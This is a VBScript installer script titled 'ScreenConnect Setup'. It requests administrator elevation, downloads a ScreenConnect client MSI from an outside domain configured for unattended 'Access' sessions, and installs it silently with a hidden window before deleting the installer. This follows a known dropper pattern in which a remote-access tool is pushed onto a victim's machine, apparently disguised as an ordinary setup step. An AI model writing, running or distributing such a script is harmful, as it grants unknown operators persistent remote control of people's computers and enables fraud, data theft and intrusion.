Option Explicit

Dim shell, fso, tempFolder, msiPath, url
Dim http, stream, exitCode
Dim args, i

Set shell = CreateObject("WScript.Shell")
Set fso   = CreateObject("Scripting.FileSystemObject")

If WScript.Arguments.Named.Exists("elevated") = False Then
    args = ""
    For i = 0 To WScript.Arguments.Count - 1
        args = args & " """ & WScript.Arguments(i) & """"
    Next
    CreateObject("Shell.Application").ShellExecute _
        "wscript.exe", _
        """" & WScript.ScriptFullName & """ /elevated" & args, _
        "", _
        "runas", _
        1
    WScript.Quit
End If

url        = "https://calviro.tech/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
tempFolder = shell.ExpandEnvironmentStrings("%TEMP%")
msiPath    = tempFolder & "\ScreenConnect.ClientSetup.msi"

On Error Resume Next
Set http = CreateObject("MSXML2.XMLHTTP.6.0")
http.Open "GET", url, False
http.Send

If Err.Number <> 0 Then
    MsgBox "Unable to download the installer." & vbCrLf & vbCrLf & _
           Err.Description, 16, "ScreenConnect Setup"
    WScript.Quit 1
End If
On Error GoTo 0

If http.Status <> 200 Then
    MsgBox "Download failed." & vbCrLf & _
           "HTTP status: " & http.Status, 16, "ScreenConnect Setup"
    WScript.Quit 1
End If

Set stream = CreateObject("ADODB.Stream")
stream.Type = 1
stream.Open
stream.Write http.ResponseBody
stream.SaveToFile msiPath, 2
stream.Close
Set stream = Nothing
Set http   = Nothing

exitCode = shell.Run( _
    "msiexec.exe /i """ & msiPath & """ /qn /norestart", _
    0, _
    True _
)

If fso.FileExists(msiPath) Then
    On Error Resume Next
    fso.DeleteFile msiPath, True
    On Error GoTo 0
End If

If exitCode <> 0 And exitCode <> 3010 Then
    MsgBox "Installation failed." & vbCrLf & vbCrLf & _
           "Windows Installer exit code: " & exitCode, _
           16, "ScreenConnect Setup"
End If

WScript.Quit exitCode